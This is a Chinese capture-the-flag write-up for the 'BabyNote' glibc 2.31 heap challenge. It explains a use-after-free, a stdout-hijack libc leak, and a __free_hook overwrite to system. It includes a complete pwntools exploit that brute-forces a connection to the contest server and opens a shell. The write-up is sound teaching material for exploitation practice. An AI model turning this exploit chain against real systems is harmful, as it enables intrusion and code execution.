第一届广东省赛BabyNote&BabyNote_revenge

感谢师兄们的带飞,本次比赛线上综合全省第八

BabyNote

做题好习惯查版本和checksec

1
2
3
4
5
6
7
8
9
10
q@ubuntu:~/Desktop$ strings -a ./by  | grep "GCC"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
q@ubuntu:~/Desktop$ checksec by
[*] '/home/q/Desktop/by'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Ubuntu20的 提供的libc也可以看出来2.31的libc

保护全开非常不友好啊

概检

看题目去吧

经典菜单题,有hint(我没用到),缺少show功能

做堆按照常规思路没有show我们就要想办法去劫持stdout

经过检查add函数里面没有溢出

dele函数里面存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
  ((void (__fastcall *)(__int64, char **, char **))((char *)&sub_1248 + 1))(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 666 )
break;
hint();
}
if ( v3 > 666 )
goto LABEL_15;
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_15:
puts("Invalid choice!");
}
else
{
switch ( v3 )
{
case 3:
dele();
break;
case 1:
add();
break;
case 2:
edit();
break;
default:
goto LABEL_15;
}
}
}
}

概思

通过低字节覆盖 unsorted bin 留下的 main_arena 指针,再加以爆破 4 位,就能分配到 _IO_2_1_stdout ,通过篡改 _IO_2_1_stdout 的 flags 为 0x0FBAD1887(改了flag后才能写入\x00) ,_IO_write_base 低字节覆盖,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base 到 _IO_write_ptr 之间的数据,而这之间就有 libc 的指针。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = 'debug'

def add(content):
p.sendlineafter(">>> ",str(1))
p.sendafter("Input Content:\n",content)
def dele(id):
p.sendlineafter(">>> ",str(3))
p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
p.sendlineafter(">>> ",str(2))
p.sendlineafter("Input ID:\n",str(id))
p.sendafter("Input Content:\n",content)

def pwn():
add('a'*58)#0
add('a'*58)#1
add('a'*58)#2
for _ in range(8):
dele(0)
edit(0,'b'*0x58)#fill tcache
edit(0,'\x00'*0x10)
p.sendlineafter(">>> ",'1'*0x450)#填充满 tcache 之后,放一个到 fastbin 里面。然后再 scanf 输入一个非常长的字符串,触发 malloc_consolidate 会申请一个 larginbin ,就会将 fastbin 放入 unsortedbin
edit(0,'\xa0\x66')

_IO_2_1_stdout_ = libc.symbols['_IO_2_1_stdout_']
log.info("_IO_2_1_stdout_:"+hex(_IO_2_1_stdout_))

add('c'*0x8)#3
add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4 #get _IO_2_1_stdout_ change flag
libc_base = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-0x1eb980#vmmap search offset
log.info("libc_base:"+hex(libc_base))

free_hook = libc_base+libc.sym['__free_hook']
system_addr = libc_base+libc.sym['system']

dele(1)
edit(1,p64(free_hook)*2)
add('/bin/sh\x00')
add(p64(system_addr))
dele(1)

p.interactive()


if __name__ == '__main__':
p = remote("8.134.14.168", 10000)
libc = ELF("./libc-2.31.so")
while True:
try:
pwn()
exit(0)
except:
p.close()
p = remote("8.134.14.168", 10000)

详解

如下第一部分代码

我们都知道要想泄露libc需要unsortedbin需要show

我们一步步完成,show可以用劫持stdout完成

构造unsortedbin如下

创建3个堆块OFF BY NULL

然后多次释放填充满tcache,让chunk进入fastbin

接着去触发malloc_consolidate

malloc_consolidate的作用就是当scanf输入的数据大小大于0x400

就会malloc一个largebin在缓冲区暂时的存放数据

并且将fastbin的chunk整合到unsortedbin中

1
2
3
4
5
6
7
8
9
def pwn():
add('a'*58)#0
add('a'*58)#1
add('a'*58)#2
for _ in range(8):
dele(0)
edit(0,'b'*0x58)#fill tcache
edit(0,'\x00'*0x10)
p.sendlineafter(">>> ",'1'*0x450)#填充满 tcache 之后,放一个到 fastbin 里面。然后再 scanf 输入一个非常长的字符串,触发 malloc_consolidate 会申请一个 larginbin ,就会将 fastbin 放入 unsortedbin

有了unsortedbin中存在的main_arena指针

我们就要想办法去leak他此时就要开始劫持stdout了

传入的地址是为了爆破到<_IO_2_1_stdout_>,概率1/16

爆破地址查看p &_IO_2_1_stdout_

后面低三位的6a0不变第四位随意写去爆破

1
2
3
pwndbg> p &_IO_2_1_stdout_
$1 = (struct _IO_FILE_plus *) 0x7ffff7faf6a0 <_IO_2_1_stdout_>

调用一个堆块隔开避免填充错误

接着最关键的来了修改_IO_2_1_stdout_的flag以及低字节覆盖到

_IO_write_base

这样就能输出指向libc的地址啦

1
2
3
4
5
6
7
edit(0,'\xa0\x66')

_IO_2_1_stdout_ = libc.symbols['_IO_2_1_stdout_']
log.info("_IO_2_1_stdout_:"+hex(_IO_2_1_stdout_))

add('c'*0x8)#3
add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4 #get _IO_2_1_stdout_ change flag

接着我们就可以有libc_base啦,找的是libc和_IO_2_1_stdout_的偏移

输入libc查看当前libc

输入p _IO_2_1_stdout_查看_IO_2_1_stdout_

用_IO_2_1_stdout_-libc 就可以得到offset

泄露的libc-offset就是libc_base啦

有了这个不就是随便打了吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
libc_base = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-0x1eb980#vmmap search offset
log.info("libc_base:"+hex(libc_base))

free_hook = libc_base+libc.sym['__free_hook']
system_addr = libc_base+libc.sym['system']

dele(1)
edit(1,p64(free_hook)*2)
add('/bin/sh\x00')
add(p64(system_addr))
dele(1)

p.interactive()


if __name__ == '__main__':
p = remote("8.134.14.168", 10000)
libc = ELF("./libc-2.31.so")
while True:
try:
pwn()
exit(0)
except:
p.close()
p = remote("8.134.14.168", 10000)

BabyNote_revenge

加了沙箱和没加一样happy,直接非预期照搬上面就行了perfect